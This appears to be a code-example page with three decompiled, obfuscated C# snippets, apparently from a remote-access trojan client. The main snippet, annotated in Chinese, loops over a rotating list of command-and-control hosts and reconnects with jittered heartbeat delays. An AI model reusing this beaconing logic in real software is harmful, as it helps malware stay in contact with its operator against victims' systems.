Beispiel #1
0
 // Token: 0x060005BC RID: 1468
 private static void smethod_3()
 {
     while (Class10.bool_0 && !GClass0.Disconnect)
     {
         if (!Class10.bool_1)                                        //判定连接状态未连接就等待一下重新连接
         {
             Thread.Sleep(100 + new Random().Next(0, 250));          //延迟心跳包时间100+随机0-250
             GClass24 gclass = Class10.gclass25_0.method_0();        //取出上线地址列表
             Class10.client_0.Connect(gclass.Hostname, gclass.Port); //连接上线地址主机与端口
             Thread.Sleep(200);                                      //延迟200毫秒
             Application.DoEvents();                                 //执行事件
         }
         while (Class10.bool_1)                                      //已连接就直接执行事件
         {
             Application.DoEvents();                                 ////执行事件
             Thread.Sleep(2500);
         }
         if (GClass0.Disconnect)                                     //失去连接
         {
             Class10.client_0.Disconnect();                          //连接断开
             return;                                                 //结束线程
         }
         Thread.Sleep(GClass35.int_0 + new Random().Next(250, 750)); //延迟3000 + 250-750随机毫秒
     }
 }
Beispiel #2
0
    // Token: 0x060001EC RID: 492 RVA: 0x0000CF8C File Offset: 0x0000B18C
    public GClass24 method_0()
    {
        GClass24 gclass = this.queue_0.Dequeue();

        this.queue_0.Enqueue(gclass);
        return(gclass);
    }
Beispiel #3
0
 // Token: 0x06002798 RID: 10136 RVA: 0x00010D8E File Offset: 0x0000EF8E
 public GClass24(GClass24 gclass24_0) : base(gclass24_0.uint_0)
 {
     this.uint_1 = gclass24_0.uint_1;
 }